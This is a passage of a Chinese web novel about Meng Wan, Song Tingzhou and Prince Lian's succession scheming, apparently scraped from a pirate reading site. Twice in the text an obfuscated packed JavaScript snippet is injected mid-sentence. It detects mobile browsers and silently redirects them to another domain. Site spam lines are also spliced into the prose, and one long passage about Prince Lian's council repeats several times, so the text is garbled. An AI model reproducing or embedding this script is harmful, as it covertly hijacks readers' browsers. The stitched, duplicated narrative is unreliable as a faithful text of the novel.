孟晚揪着茶水吃了两块千层糕充饥,暂且缓解饥饿。再过半个时辰天就要亮了,两人都没有再睡的打算,半靠在被子上喁喁私语。 “可惜了,那老头倔得很,只肯给一封信。孟晚没能将夏垣这边给出去的密信要到手,不免觉得惋惜。 宋亭舟将他整个人抱到自己怀里,声音低沉而温柔,“这样就很好了,有信锦上添花,这一封便已足够了。 孟晚趴在他宽厚温热的胸膛上,与他紧紧贴近,两颗相同频率跳动的心脏仅隔着一层薄薄的皮肉,毫无保留。 两人分开许久,不想念对方是不可能的。孟晚仰头左看看,右看看,然后双手捧着宋亭舟脸颊,对准他的唇亲了上去。 宋亭舟几乎在他亲上来的瞬间就迫不及待的迎合起来,他微侧着头,细致的吻着孟晚。这是一个带着思念、温柔至极的吻,连水渍声都是缓慢而柔和的。 渐渐的,孟晚小小的唇珠被唇舌碾的愈发红艳,像是被捣烂的红牡丹。宋亭舟似是有些不满这样温吞的接吻,他在床上半坐起来,伸手扣住孟晚后脑,用舌头顶开他的牙关挑逗、吮吸,肆无忌惮的搅动,然后再顺势将人压在床上。 直挺的鼻梁轻蹭孟晚颈间嫩白的皮肉,滚烫沉重的呼吸烫的孟晚不自觉地开始微微颤栗,难自抑的轻哼出声,“回家……回家在…… 宋亭舟最后重重的吮了一下孟晚的唇角, 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 抱着他在床上翻了个身闭起眼睛平复着剧烈起伏的胸膛。 这个姿势孟晚躺的很舒服手也不老实的伸进宋亭舟松散的衣服里去摸他流畅紧实的腰腹。 “晚儿。”宋亭舟带着些无奈的轻喘。 孟晚“嗖”地一下把手撤出来“不闹你了再睡会儿。” 这世上再也没有比在宋亭舟身边更安心的地方了孟晚放空大脑浑身上下都仿佛沾染到了宋亭舟的气息安全感简直爆棚他陪着宋亭舟迷了一会儿不知不觉两人又睡了个回笼觉。 宋亭舟在钦州的事已经解决的差不多了朝廷派下来的知州也已经到了任上他和秦啸云商议些隐秘之事一会儿宋家这一大群人就要直接回西梧府去。 孟晚洗漱好后十分接地气的端着碗坐在外面的大石块上吃面。里面卧着两个荷包蛋和几根野菜。 这附近没有什么丰富的食材还是雪生不知道在哪里淘换来的鸡蛋一共也就六个黄叶给孟晚一个人就留了两个。 孟晚将一大碗面条吃的干干净净连汤都不剩赶路的时候路上真是有什么吃什么最多的就是比较好存放的藕粉孟晚发誓他三年之内都不想再吃一口藕粉了。 孩子们都在外面玩阿砚小狗似的时不时就凑过来和孟晚撒个娇他在军营待的够够的这里既没有一大群的玩伴也没有好吃的米粉通儿和他都在嘀咕还不如把雪狼也带过来。 “阿爹看我有大鸡腿。”孟晚洗碗出来就见阿砚举着鸡腿过来和他显摆通儿眼巴巴的追在阿砚后面流口水俩孩子好久没吃肉了。 孟晚眉梢微挑“哪儿来的?”他本来以为是蚩羽或者葛全去林子里猎来的山鸡但没看错的话那边正在往秦艽那里走的白衣小哥儿手上端了一一盘子的红烧鸡块吧? 阿砚果然指了指裴安缘“安缘哥哥给的。” “阿爹怎么教你的?外人送的东西不可轻易入口。”孟晚知道小孩子的意志力薄弱但在这个法制并不完善的时代孩子还是从小就教的聪明谨慎些比较好 裴安缘不知想到什么突然转变脚步往这边走正巧听见了孟晚的话。他清冷的脸上涌现一丝恼怒的神色冷哼一声“若是不想要可以扔掉。” 他说完扭头就走也不给别人解释的机会。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 孟晚没理他,边境粮食稀缺,何况是肉。 指使阿砚把鸡腿送去伙房后,孟晚抬步去找秦艽。 裴安缘正是去给胃口不佳的秦艽送饭的,看见孟晚也跟了过来,眼睛里是莫名其妙的敌意。 对孟晚有敌意的人那可太多了,孟晚根本记不过来,他几乎是无视裴安缘,提点了秦艽一句,“秦世子,我们走后,恐怕你也会被召回京,若是你真的接到诏书,记得路过西梧府时到我家坐坐。” “孟夫郎放心,我若收到什么风吹草动,定然会告知你和宋大人。”秦艽这几天稍微恢复了一点,情绪不像前些日子那样崩溃,不知道是因为爱情的力量,还是因为秦啸云激了他几句。 “晚儿,要走了。”宋亭舟从秦啸云的住处过来喊孟晚。 孟晚应了一声,“这就来。”他人都已经快走到宋亭舟身边了,又想起什么似的提醒秦艽,“秦世子,有的事其实轮不到我这个外人说,但你与我们夫夫二人也算是交情匪浅,我便不讨喜的说上一句。” 秦艽似乎已经知道他要说什么了,他郑重的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孟晚脚步轻松的往常金花屋里走,又指使桂诚给他拎两桶温水去他卧房。 “呦,我们晚哥儿这么大了还找娘呢,也不嫌害臊。” 熟悉的调侃腔调从后院客房里传来,孟晚脚步一顿,难以置信的看着来人,“聂知遥!” 聂知遥仍旧是一身月白长衫,料子是值钱的锦布,上面却素净一片,没有太多织纹。 他一手牵着个六七岁的小哥儿,乖乖巧巧的一小只,还会对孟晚行礼,像模像样的。另一手拿着柄色泽红润清亮的玉竹扇展开轻摇,“怎么,六年未见,不认得我了?” 孟晚嘴角越翘越高,“不认得又怎样,你还不是认得我家的门?绯哥儿呀,小叔头次真是头次见你,定要给你找个最最最好的见面礼来。” 聂知遥是孟晚到此间后最对他胃口的好友,说是知己也不为过,两人虽然六年不见,但时常书信来往,年节互相送些稀罕物件。 “得了,你还是先去洗漱洗漱吧,在西梧可见是过得快活了,衣裳都皱成什么样了。”聂知遥嫌弃的说。 他在京中长大,后来去昌平聂二夫郎也是个讲究人,衣食住行样样都要循规蹈矩,不然就要惹人笑话。 从前孟晚也不得不那样,但在岭南地界就随意的多,想穿什么穿什么,想去那儿就去那儿。 回房间痛痛快快的洗了澡,换了身轻薄凉爽的衣裳,孟晚迫不及待的把聂知遥叫到自己房里说话。 “你怎么没事先给我写信,这么突然就来了,路上和绯哥儿没少受罪吧?”孟晚把绯哥叫到近前来,他这儿又没有什么规矩,只管叫他脱了鞋和阿砚到软塌里面去玩玩具。 见绯哥儿犹犹豫豫的看向聂知遥,他才恍惚两个孩子在他眼里是孩子,但京中规矩森严,又臭又多。绯哥儿已经七岁了,两个孩子玩玩可以,不能太亲密了,会惹人话柄。 聂知遥疼惜的摸了摸绯哥儿精致的发髻,“没事,你小叔在这里不必如此小心,上去玩吧。” 他发了话,绯哥儿这才开心的上了榻。 聂知遥和孟晚坐到一旁,他轻叹一声,“有时候真羡慕你,在岭南无拘无束。这次是乐正崎把我和绯哥儿送过来的,事出有因,实在是不敢提前声张。” 第20章 准备 微微避开两个孩子,孟晚斩钉截铁的聂知遥说:“乐正崎是太子殿下的人。” 聂知遥大骇,“你是如何知道的?”他心里的孟晚还是那个聪慧低调,和他一起做生意的小哥儿,殊不知在岭南的这六年,孟晚将生意越做越大,而且已经与皇室有了牵扯。 “你不用管我是如何知道的。”孟晚端起茶盏轻抿一口,眼睛放空一瞬,像是在想什么,“乐正崎把你和绯哥儿送过来是对的,我这边前些日子有些麻烦,一时间没顾得上你。” 孟晚是真的忘了,换一步说,他也是没想到乐正崎也是其中一颗重要的棋子。 三年前宋亭舟进京朝觐时便对乐正崎的身份有所察觉,回来和孟晚一合计,夫夫俩还当他只是太子身边一个微不足道的人物。 聂知遥这一来,事情立马变得不对劲了。 算算时间,太子出事后没多长时间,乐正崎就已经着手将夫郎和儿子往岭南送了。 宋亭舟他们俩是知道盛京要乱的,也尽快通知了林苁蓉和吴昭远。 可此事紧要,孟晚的驿站还没能从岭南铺设到盛京城去,因此两人的动作十分隐晦,只能看林苁蓉能领会多少,再看在宋亭舟的面子上照应吴昭远和祝泽宁两分。 “他在盛京是不是会遇到什么危险!” 聂知遥心瞬间乱了,为了避免吓到孩子,他隐忍的低声问道:“家里的家当他都给我带上了,晚哥儿,你跟我说句实话,他……他会不会死。”说到最后一个死字尾音的时候,聂知遥的声音已经颤到收不回去了。 孟晚按住他凉到指尖发僵的手,“慌什么,这次的事,怎么说呢……我暂时不能对你透露太多,但风险肯定是有的,应该没你想象中那么严重,毕竟你夫君在暗处。” 实际孟晚也不知道京城都布置了些什么,聂知遥父子俩已经被交到了他手上,他怎么也要保住他们的安危,当下只能先安抚住人再说。 孟晚说话在聂知遥这里还是有分量的,哪怕心里仍旧担心,好歹面色已经恢复正常。 两人不敢深聊下去,孟晚扯些杂七杂八的事分聂知遥的心。 常金花从外面回来,看到了院里正在拆卸行李的马车,知道是孟晚回来了,问了黄叶过来找他。 “怎么出去一趟又瘦了?下回让大郎自己去不成吗?非要你和阿砚跟着。”常金花坐到 软榻边上,眼睛盯着孟晚,手上摸着孙子的小圆脸。 孟晚捏捏自己脸肉,“瘦了吗?不是一直这样吗?” 小小的绯哥儿见常金花进来,跪坐在榻上给他行礼,聂知遥也站起来和她说话。 常金花纵然经历几次,也还是不习惯这阵仗,她哭笑不得的说:“坐你们的,都说了咱们家没那么多规矩,小绯哥儿,快起来,一会儿祖母给你做好吃的去。” “祖母!”阿砚听到常金花要亲自下厨眼睛都亮了,抱着常金花的胳膊撒娇,“阿砚要吃虾仁饺子,还要吃小酥鱼!” “你怎么就知道吃?”孟晚看着聂知遥家乖巧听话的小哥儿,在看看自己家的儿子,突然发现阿砚进学除了认字之外,这个识礼貌似还有些问题呢? 禹国平民基本都是一天两顿饭,甚至家境再差些的一天一顿饭都是常事。 贵族则一日三餐,每餐时间固定,食材精致稀有,还有仆从在一旁侍奉。 相比之下宋家人吃饭就很随意,有时候晌午随便吃一口,晚膳再做的丰富些,有时候午膳准备的多些,晚上随意填填肚子。 而且食材多半是寻常百姓吃的普通食材,常金花非常喜欢干买菜的活计,她买回来什么大家就吃什么。宋家仆从又少,多是常金花把买来的时候给他们也留出来,让厨娘给他们的也做出来。 鱼虾买新鲜的才好吃,常金花刚回来就又出门去买,今天家里人都回来了,菜要多备,她把雪生和黄叶也叫出去帮她提菜。 宋亭舟从衙门回来的时候看到聂知遥也很惊讶,聂知遥知道宋亭舟要洗漱,便带着绯哥儿先去常金花那边。 孟晚把自己的猜测告诉宋亭舟,两人商议一番,却也拿不准乐正崎那边的事。 宋亭舟觉得这次夏垣回京后,朝廷应当会先派人传旨,命承宣布政司先在岭南境内其余府州调节粮仓里的粮食救济给钦州。 钦州灾情平复之后,他的位置可能会再动一动,但中间因为穿插了太子的事,廉王应该会插手他的官职调动,所以能不能回京,或是继续外派,还不好说。 孟晚颇有些担忧,“这个当口能不回京也是好事,但若是被派到临安府或者扬州一带,恐怕会有性命之忧。” “他一日未登基,纵使行事张狂些,也不会太过失了分寸,毕竟还有陛下在上头看着。” 宋亭舟将半干不干的长发梳成发髻,再用玉簪簪住。系紧腰间的带子,披上屏风上孟晚帮他拿来的外衫,牵着他的手往门外走去。 五月的岭南终于开始天晴,厚厚的云层散去,日光得以照射在大地上,结束了潮湿、闷热、日照不足的窘境。 两人的背影在正午的光照下牵连在一起,显得厚重且凝实。 ——盛京廉王府议事厅。 宽阔的厅堂内摆着十几把用鬼脸黄花梨做得圈椅,地上铺着颜色暗红的地毯,上面是二十五个苏绣绣娘绣上三年才完成的吉祥花纹。香几上方的沉紫色香炉里,一小块的香料便能在盛京城顶好的地段里买上一座三进的宅子。 而此刻堂内的人,一半都在盯着那袅袅燃起的青烟沉思。 “夏垣进宫了?进宫前说了什么没有?”廉王的眼里有兴奋、紧张、疑虑等等情绪,因为太过繁杂,他面部的表情都不像往常一样能端的住。 探子回禀道:“夏大人没有多说一句,冯褚让属下回来禀告殿下,万事等夏大人出宫再谈。” 京中眼线多不胜数,各家都有探子,很多事确实不方便在大庭广众下交谈。 廉王急躁的在议事厅里踱来踱去。 只要是皇帝的儿子,在知道自己有可能坐上那等九五至尊的位置上,又有谁能真的做到无动于衷呢? “殿下,夏垣既然已经安然入京,便说明事情已成定局,你该稳住想想接下来的事情才对。”一道雄厚有力的声音响起,带着些许的警示与不满。 在场的幕僚官员中,也只有廉王的外家定襄国公敢这样开口对他说话了。 廉王停顿住步子,“外祖父说的是,是本王急躁了,来人,上茶。” 有定襄国公在这里镇着,王府里往日能言善辩的幕僚们都像哑巴似的,不是盯着香炉故作深思,便是低头做自闭状。 不是他们没有本事,而是这位杀神战功赫赫,手下罪孽无数,连皇上都忌惮他三分,更遑论他们这群耍笔杆子的柔弱文人,这会儿与定襄国公共处一室便觉得呼吸不畅。 在这样沉闷焦灼的氛围内,廉王的探子终于传来了好消息,“王爷,冯褚回来了。” 皇帝仍在位,夏垣官至二品,又不似柴郡一般的小官,除非他是嫌命长了,才敢刚出皇宫就明目张胆的登门廉王府。 不过冯褚 是廉王心腹,一路跟着夏垣去岭南,夏垣的一举一动都被他看在眼里,他来和夏垣来的效果是一样的。 “属下请殿下圣安……”冯褚问安的动作刚刚摆好,廉王便迫不及待的说:“不必再讲究那些虚礼了,这次跟夏垣是否顺利去了安南?” 一流高手难得,便是廉王身边也只有冯褚一位,他地位特殊,往常也只听廉王一人的命令,轻易不在人前显露。 不过今日之后,可能就会打破这条惯例。 “咳。”定襄国公轻咳一声。 廉王神色稍敛,对在座的幕僚们说:“诸位先生可先回去了,墨先生留下。” 那些谋士知晓接下来是天大的秘事,有胆子听可能没胆子死,各个脚下生风,迅速离开议事厅。 墨先生是位六旬老者,听完廉王的话,仍是气定神闲的坐在椅子上。 议事厅内只剩廉王、定襄国公、墨先生和冯褚后,不等廉王再问,冯褚主动说到廉王最想听到的消息,“一切进行顺利,我和夏大人亲眼在安南国都挖出了太子殿下的尸骨。” “好!”廉王再也忍不住大笑出声,他与太子之间从小就不对付,他从知人事之后就知道他们两人注定对立。 他能忍,他母妃为了活命也不可能让他忍。皇上临死前不会允许一个娘家背景强大且有儿子的妃子活在世上。 定襄国公也不会允许一直想平世家、分夺他手里兵权的太子上位。 他二人之间不死不休,如今太子**,他便再无顾忌,如何能不高兴? 墨先生心有疑虑,“你和夏大人可是亲眼看见了尸体是太子殿下的面容?有无易容的可能?” 冯褚迟疑到,“我和夏大人所见身形与太子殿下相似,但那具尸体全身已经腐烂大半。” 定襄国公见过太多风浪,他轻描淡写的说道:“不管文昭死是没死,现在陛下知道他的死讯,那他就是**。” 杀一人还是杀一万人,杀平民还是皇储,在他眼里都没有什么分别,不过是一刀了事。 接下来冯褚又将一路到安南的所见所闻都讲了出来,包括孟晚毁了吉婆岛的事。 也就是罗霁宁这会儿不在,不然几句话就能听出破绽,冯褚口中的这位孟夫郎,和他见过的矫情绿茶根本就不可能是同一个人! 廉王府里的幕僚,定 襄国公手里的私兵等都需要大量金钱支撑,不然他的王妃也轮不到罗家女来做。 吉婆岛被毁,他也恼怒不已,“一个小小的哥儿罢了,若是**算他命好,若是没死,待本王登基……” “咳咳。”墨先生喝茶被呛到,声音并不大,还是打断了廉王的豪言壮语。 虽然在座的都是自己人,但也不必这么快就开始妄自尊大。 对待谋士,哪怕是有才之士,廉王也没有如对定襄国公一般好耐心,他不冷不热的问:“墨先生有何高见?” 皇室自然高傲,墨先生早已习惯,他和别的谋士不同,生杀大权都以与廉王紧紧相连,便谆谆告诫道:“殿下,宋亭舟政绩斐然,满朝老臣除了国公爷外,其余老臣无一人能匹敌。这样的人物,只可交好,不可结仇。” 左右不过是一个小岛,损失些银钱和人脉罢了,他们还有罗家在,不差这一点。 连冯褚也说:“殿下,夏大人也是这个意思。” 夏垣是真的爱才,不然当时就直接带宋亭舟去安南了。他先想的是国家大义,而后才是皇储之争,途中叮嘱冯褚好几次,生怕廉王因为自身喜好而妄动股肱之臣。 廉王是不喜宋亭舟的,但现在连身边的幕僚都劝,他也只好按捺住对宋亭舟的不满与打压之心,专心致志的和定襄国公商议接下来的事宜。 远在岭南的宋亭舟尚不知自己的名声已经在朝堂打响,甚至为自己和家人逃过一劫。 他和孟晚对廉王的印象,还停留在上次宋亭舟入京朝觐,被廉王的人试探,和大殿上并未施展成功的打压。 因为钦州灾情严重,朝廷下达的指令很快就到了承宣布政使和宋亭舟手中,可太子薨了的消息却并未传到岭南来,不知其中是皇上没信,还是出于上位者的考虑而暂时按兵不动。 宋亭舟觉得应该是介于两者之间,将信将疑,再派人去钦州,然后做其他对策。 坐到那个位置上,人伦亲情,远没有大局重要。 岭南这边,论名义上的官职,承宣布政使比宋亭舟官高,但论实权则是宋亭舟更大。 之前他处理西梧府和钦州的灾情经验丰富,于是这次顺理成章的由他主导钦州分发赈灾粮的事。 宋亭舟指导能力强大,身边能用的人一层层的筛选下去,很快揪出个贪墨赈灾银粮的知县出来。 那知县已经极为谨慎了,却还是被宋亭舟发现端倪。 宋亭舟连上司都能请走,更别提一个顶风作案的知县了。把犯案的知县收押起来,等待朝廷的判决。他所犯之罪问斩都是轻的,大概率会牵连家人。 震慑了一个不老实的,剩下的政务就顺遂许多,之前宋亭舟在钦州几月,已经将钦州各地的灾民都安置妥当,因此顺利发下赈灾粮后,余下几个手下官员收尾,他便不必留在钦州 襄国公手里的私兵等都需要大量金钱支撑,不然他的王妃也轮不到罗家女来做。 吉婆岛被毁,他也恼怒不已,“一个小小的哥儿罢了,若是**算他命好,若是没死,待本王登基……” “咳咳。”墨先生喝茶被呛到,声音并不大,还是打断了廉王的豪言壮语。 虽然在座的都是自己人,但也不必这么快就开始妄自尊大。 对待谋士,哪怕是有才之士,廉王也没有如对定襄国公一般好耐心,他不冷不热的问:“墨先生有何高见?” 皇室自然高傲,墨先生早已习惯,他和别的谋士不同,生杀大权都以与廉王紧紧相连,便谆谆告诫道:“殿下,宋亭舟政绩斐然,满朝老臣除了国公爷外,其余老臣无一人能匹敌。这样的人物,只可交好,不可结仇。” 左右不过是一个小岛,损失些银钱和人脉罢了,他们还有罗家在,不差这一点。 连冯褚也说:“殿下,夏大人也是这个意思。” 夏垣是真的爱才,不然当时就直接带宋亭舟去安南了。他先想的是国家大义,而后才是皇储之争,途中叮嘱冯褚好几次,生怕廉王因为自身喜好而妄动股肱之臣。 廉王是不喜宋亭舟的,但现在连身边的幕僚都劝,他也只好按捺住对宋亭舟的不满与打压之心,专心致志的和定襄国公商议接下来的事宜。 远在岭南的宋亭舟尚不知自己的名声已经在朝堂打响,甚至为自己和家人逃过一劫。 他和孟晚对廉王的印象,还停留在上次宋亭舟入京朝觐,被廉王的人试探,和大殿上并未施展成功的打压。 因为钦州灾情严重,朝廷下达的指令很快就到了承宣布政使和宋亭舟手中,可太子薨了的消息却并未传到岭南来,不知其中是皇上没信,还是出于上位者的考虑而暂时按兵不动。 宋亭舟觉得应该是介于两者之间,将信将疑,再派人去钦州,然后做其他对策。 坐到那个位置上,人伦亲情,远没有大局重要。 岭南这边,论名义上的官职,承宣布政使比宋亭舟官高,但论实权则是宋亭舟更大。 之前他处理西梧府和钦州的灾情经验丰富,于是这次顺理成章的由他主导钦州分发赈灾粮的事。 宋亭舟指导能力强大,身边能用的人一层层的筛选下去,很快揪出个贪墨赈灾银粮的知县出来。 那知县已经极为谨慎了,却还是被宋亭舟发现端倪。 宋亭舟连上司都能请走,更别提一个顶风作案的知县了。把犯案的知县收押起来,等待朝廷的判决。他所犯之罪问斩都是轻的,大概率会牵连家人。 震慑了一个不老实的,剩下的政务就顺遂许多,之前宋亭舟在钦州几月,已经将钦州各地的灾民都安置妥当,因此顺利发下赈灾粮后,余下几个手下官员收尾,他便不必留在钦州 襄国公手里的私兵等都需要大量金钱支撑,不然他的王妃也轮不到罗家女来做。 吉婆岛被毁,他也恼怒不已,“一个小小的哥儿罢了,若是**算他命好,若是没死,待本王登基……” “咳咳。”墨先生喝茶被呛到,声音并不大,还是打断了廉王的豪言壮语。 虽然在座的都是自己人,但也不必这么快就开始妄自尊大。 对待谋士,哪怕是有才之士,廉王也没有如对定襄国公一般好耐心,他不冷不热的问:“墨先生有何高见?” 皇室自然高傲,墨先生早已习惯,他和别的谋士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266670|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不同,生杀大权都以与廉王紧紧相连,便谆谆告诫道:“殿下,宋亭舟政绩斐然,满朝老臣除了国公爷外,其余老臣无一人能匹敌。这样的人物,只可交好,不可结仇。” 左右不过是一个小岛,损失些银钱和人脉罢了,他们还有罗家在,不差这一点。 连冯褚也说:“殿下,夏大人也是这个意思。” 夏垣是真的爱才,不然当时就直接带宋亭舟去安南了。他先想的是国家大义,而后才是皇储之争,途中叮嘱冯褚好几次,生怕廉王因为自身喜好而妄动股肱之臣。 廉王是不喜宋亭舟的,但现在连身边的幕僚都劝,他也只好按捺住对宋亭舟的不满与打压之心,专心致志的和定襄国公商议接下来的事宜。 远在岭南的宋亭舟尚不知自己的名声已经在朝堂打响,甚至为自己和家人逃过一劫。 他和孟晚对廉王的印象,还停留在上次宋亭舟入京朝觐,被廉王的人试探,和大殿上并未施展成功的打压。 因为钦州灾情严重,朝廷下达的指令很快就到了承宣布政使和宋亭舟手中,可太子薨了的消息却并未传到岭南来,不知其中是皇上没信,还是出于上位者的考虑而暂时按兵不动。 宋亭舟觉得应该是介于两者之间,将信将疑,再派人去钦州,然后做其他对策。 坐到那个位置上,人伦亲情,远没有大局重要。 岭南这边,论名义上的官职,承宣布政使比宋亭舟官高,但论实权则是宋亭舟更大。 之前他处理西梧府和钦州的灾情经验丰富,于是这次顺理成章的由他主导钦州分发赈灾粮的事。 宋亭舟指导能力强大,身边能用的人一层层的筛选下去,很快揪出个贪墨赈灾银粮的知县出来。 那知县已经极为谨慎了,却还是被宋亭舟发现端倪。 宋亭舟连上司都能请走,更别提一个顶风作案的知县了。把犯案的知县收押起来,等待朝廷的判决。他所犯之罪问斩都是轻的,大概率会牵连家人。 震慑了一个不老实的,剩下的政务就顺遂许多,之前宋亭舟在钦州几月,已经将钦州各地的灾民都安置妥当,因此顺利发下赈灾粮后,余下几个手下官员收尾,他便不必留在钦州 襄国公手里的私兵等都需要大量金钱支撑,不然他的王妃也轮不到罗家女来做。 吉婆岛被毁,他也恼怒不已,“一个小小的哥儿罢了,若是**算他命好,若是没死,待本王登基……” “咳咳。”墨先生喝茶被呛到,声音并不大,还是打断了廉王的豪言壮语。 虽然在座的都是自己人,但也不必这么快就开始妄自尊大。 对待谋士,哪怕是有才之士,廉王也没有如对定襄国公一般好耐心,他不冷不热的问:“墨先生有何高见?” 皇室自然高傲,墨先生早已习惯,他和别的谋士不同,生杀大权都以与廉王紧紧相连,便谆谆告诫道:“殿下,宋亭舟政绩斐然,满朝老臣除了国公爷外,其余老臣无一人能匹敌。这样的人物,只可交好,不可结仇。” 左右不过是一个小岛,损失些银钱和人脉罢了,他们还有罗家在,不差这一点。 连冯褚也说:“殿下,夏大人也是这个意思。” 夏垣是真的爱才,不然当时就直接带宋亭舟去安南了。他先想的是国家大义,而后才是皇储之争,途中叮嘱冯褚好几次,生怕廉王因为自身喜好而妄动股肱之臣。 廉王是不喜宋亭舟的,但现在连身边的幕僚都劝,他也只好按捺住对宋亭舟的不满与打压之心,专心致志的和定襄国公商议接下来的事宜。 远在岭南的宋亭舟尚不知自己的名声已经在朝堂打响,甚至为自己和家人逃过一劫。 他和孟晚对廉王的印象,还停留在上次宋亭舟入京朝觐,被廉王的人试探,和大殿上并未施展成功的打压。 因为钦州灾情严重,朝廷下达的指令很快就到了承宣布政使和宋亭舟手中,可太子薨了的消息却并未传到岭南来,不知其中是皇上没信,还是出于上位者的考虑而暂时按兵不动。 宋亭舟觉得应该是介于两者之间,将信将疑,再派人去钦州,然后做其他对策。 坐到那个位置上,人伦亲情,远没有大局重要。 岭南这边,论名义上的官职,承宣布政使比宋亭舟官高,但论实权则是宋亭舟更大。 之前他处理西梧府和钦州的灾情经验丰富,于是这次顺理成章的由他主导钦州分发赈灾粮的事。 宋亭舟指导能力强大,身边能用的人一层层的筛选下去,很快揪出个贪墨赈灾银粮的知县出来。 那知县已经极为谨慎了,却还是被宋亭舟发现端倪。 宋亭舟连上司都能请走,更别提一个顶风作案的知县了。把犯案的知县收押起来,等待朝廷的判决。他所犯之罪问斩都是轻的,大概率会牵连家人。 震慑了一个不老实的,剩下的政务就顺遂许多,之前宋亭舟在钦州几月,已经将钦州各地的灾民都安置妥当,因此顺利发下赈灾粮后,余下几个手下官员收尾,他便不必留在钦州 襄国公手里的私兵等都需要大量金钱支撑,不然他的王妃也轮不到罗家女来做。 吉婆岛被毁,他也恼怒不已,“一个小小的哥儿罢了,若是**算他命好,若是没死,待本王登基……” “咳咳。”墨先生喝茶被呛到,声音并不大,还是打断了廉王的豪言壮语。 虽然在座的都是自己人,但也不必这么快就开始妄自尊大。 对待谋士,哪怕是有才之士,廉王也没有如对定襄国公一般好耐心,他不冷不热的问:“墨先生有何高见?” 皇室自然高傲,墨先生早已习惯,他和别的谋士不同,生杀大权都以与廉王紧紧相连,便谆谆告诫道:“殿下,宋亭舟政绩斐然,满朝老臣除了国公爷外,其余老臣无一人能匹敌。这样的人物,只可交好,不可结仇。” 左右不过是一个小岛,损失些银钱和人脉罢了,他们还有罗家在,不差这一点。 连冯褚也说:“殿下,夏大人也是这个意思。” 夏垣是真的爱才,不然当时就直接带宋亭舟去安南了。他先想的是国家大义,而后才是皇储之争,途中叮嘱冯褚好几次,生怕廉王因为自身喜好而妄动股肱之臣。 廉王是不喜宋亭舟的,但现在连身边的幕僚都劝,他也只好按捺住对宋亭舟的不满与打压之心,专心致志的和定襄国公商议接下来的事宜。 远在岭南的宋亭舟尚不知自己的名声已经在朝堂打响,甚至为自己和家人逃过一劫。 他和孟晚对廉王的印象,还停留在上次宋亭舟入京朝觐,被廉王的人试探,和大殿上并未施展成功的打压。 因为钦州灾情严重,朝廷下达的指令很快就到了承宣布政使和宋亭舟手中,可太子薨了的消息却并未传到岭南来,不知其中是皇上没信,还是出于上位者的考虑而暂时按兵不动。 宋亭舟觉得应该是介于两者之间,将信将疑,再派人去钦州,然后做其他对策。 坐到那个位置上,人伦亲情,远没有大局重要。 岭南这边,论名义上的官职,承宣布政使比宋亭舟官高,但论实权则是宋亭舟更大。 之前他处理西梧府和钦州的灾情经验丰富,于是这次顺理成章的由他主导钦州分发赈灾粮的事。 宋亭舟指导能力强大,身边能用的人一层层的筛选下去,很快揪出个贪墨赈灾银粮的知县出来。 那知县已经极为谨慎了,却还是被宋亭舟发现端倪。 宋亭舟连上司都能请走,更别提一个顶风作案的知县了。把犯案的知县收押起来,等待朝廷的判决。他所犯之罪问斩都是轻的,大概率会牵连家人。 震慑了一个不老实的,剩下的政务就顺遂许多,之前宋亭舟在钦州几月,已经将钦州各地的灾民都安置妥当,因此顺利发下赈灾粮后,余下几个手下官员收尾,他便不必留在钦州 第21章 报丧 “泽宁这次写了这么厚的信来啊?可见是真的被欺负狠了。”孟晚拿起宋亭舟桌上最厚的一封信信封上写着祝泽宁的表字封口已经被宋亭舟拆过孟晚比划了一下厚度暂时没有看的欲望。 宋亭舟点点桌子上另外几封信“昭远的也有还有师兄的和我当日殿试的一些同科进士。” “你和这些同年本来就关系一般在盛京城的时候也没见有多热络被外放到岭南后更是毫无联系现在是抽的什么风居然给你写信?不会是骂你的吧?” 孟晚拿起一封连名字都不认识的信被里面肉麻的腔调雷的外焦里嫩他反复看了两边信封难以置信的说:“这是你同年?现在在盛京城里任六品京官?怎么给你写信这么黏糊好像是怀春少女似的。” 说实话孟晚有点看反胃了。 “他今年五十有三之前与我交情一般 当下也就交情一般的才敢给宋亭舟写信巴结吴千嶂的和给他下过绊子的也不好意思再硬凑上来触他霉头。 宋亭舟不想提这些糟心的人他又说到祝泽宁和吴昭远身上“柴郡因为兰娘的事找泽宁很多麻烦现在他小人得志泽宁只能忍让。” 孟晚了然怪不得给宋亭舟写了那么多信肯定有一半都是在骂柴郡的。 “现在也没有其他好办法只能让他忍忍了。”孟晚说着把林苁蓉的信拿来来读里面写的内容就简明扼要多了具是描绘朝堂现状的。 往日明里暗里支持太子一派的朝臣近来低调甚至有些心如死灰的意味。廉王**在朝中越来越活跃曾经拉拢朝臣还不敢往上面伸手只敢划拉一些如柴郡般的小鱼小虾现如今朝会一散就让麾下其余官员明目张胆的笼络。 林苁蓉也是被拉拢的人之一不堪其扰恐生事端。让宋亭舟近期不要给他去信免得受到他牵连。 “唉师兄还怕牵连我们我们不牵连他都算好的了。”孟晚颇为感动他们和林苁蓉只是因为项芸的缘故叫了声师兄罢了对方却对他们夫夫俩一直多有照顾百般为宋亭舟谋划。 宋亭舟已经能猜测到林苁蓉现在的境况有些不妙“师兄的位置特殊明眼人都能看出陛下有意让他顶上吏部尚书的位置廉王想拉拢他并不奇怪。” 正常情况下王爷即便是皇储也不敢对 听说看这本书的人都是很幸运的,分享后你的运气会更棒 朝廷命官如何,但廉王的情况偏偏不一般,他有一个强势有力的外祖。所以林苁蓉会给宋亭舟写这封信,就代表他可能已经遇到了麻烦。 孟晚蹙起眉头,他早就觉着这个廉王像是有个什么大病了,“那要怎么办,咱们在岭南鞭长莫及。” “不会太久了。”宋亭舟声音低沉,“朝廷在秋收前后,定会向安南开战。”到时候,朝堂上自会**,而现在林苁蓉只能自保为主。但怕就怕他做为清流一派而不肯妥协,会惹恼了气势正盛的廉王。 